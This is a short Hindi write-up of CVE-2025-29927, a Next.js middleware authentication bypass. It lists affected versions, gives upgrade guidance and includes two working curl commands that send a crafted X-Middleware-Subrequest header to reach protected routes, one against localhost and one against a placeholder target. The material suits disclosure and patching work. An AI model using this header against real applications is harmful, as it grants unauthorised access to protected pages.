
CVE-2025-29927 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, x-middleware-subrequest हेडर के माध्यम से Next.js मिडलवेयर में प्रमाणीकरण बाईपास प्रदर्शित करता है, प्रभावित संस्करणों और शमन मार्गदर्शन के साथ।
कल्पना करें कि क्लब के बाहर एक बाउंसर है, लेकिन यदि आप उसे कहते हैं "मैं पहले से अंदर हूँ," तो वह आपको बिना जाँचे अंदर जाने देता है। यही वास्तव में CVE-2025-29927 है।
Next.js में मिडलवेयर अनुरोध प्रसंस्करण से पहले चलता है, जिससे यह प्रमाणीकरण संभालने के लिए आदर्श स्थान बनता है। Next.js एक आंतरिक x-middleware-subrequest हेडर का उपयोग पुनरावर्ती अनुरोधों को रोकने और अनंत लूप से बचने के लिए करता है। यह भेद्यता दर्शाती है कि मिडलवेयर निष्पादन को पूरी तरह से बायपास या छोड़ना संभव है — जिसमें सुरक्षित मार्ग तक पहुँचने से पहले प्रमाणीकरण जैसे महत्वपूर्ण सुरक्षा जाँच शामिल हैं।
| शाखा | निर्धारित संस्करण में |
|---|---|
| 15.x | < 15.2.3 |
| 14.x | < 14.2.25 |
| 13.x | < 13.5.9 |
हजारों या लाखों अनुप्रयोग अप्रकाशित Next.js संस्करणों पर चल रहे हैं। यदि शमन नहीं किया गया, तो यह भेद्यता किसी को भी — बिना किसी क्रेडेंशियल के — सुरक्षित मार्गों तक अनधिकृत पहुँच प्रदान करती है।
curl -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
http://localhost:3000/private-area
प्रतिक्रिया में बिना किसी प्रमाणीकरण के सुरक्षित पृष्ठ लौटता है।
curl -s "http://<target>/<private-area>" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
Next.js को पैच किए गए संस्करण में अपग्रेड करें:
15.x → 15.2.3 या उच्चतर14.x → 14.2.25 या उच्चतर13.x → 13.5.9 या उच्चतर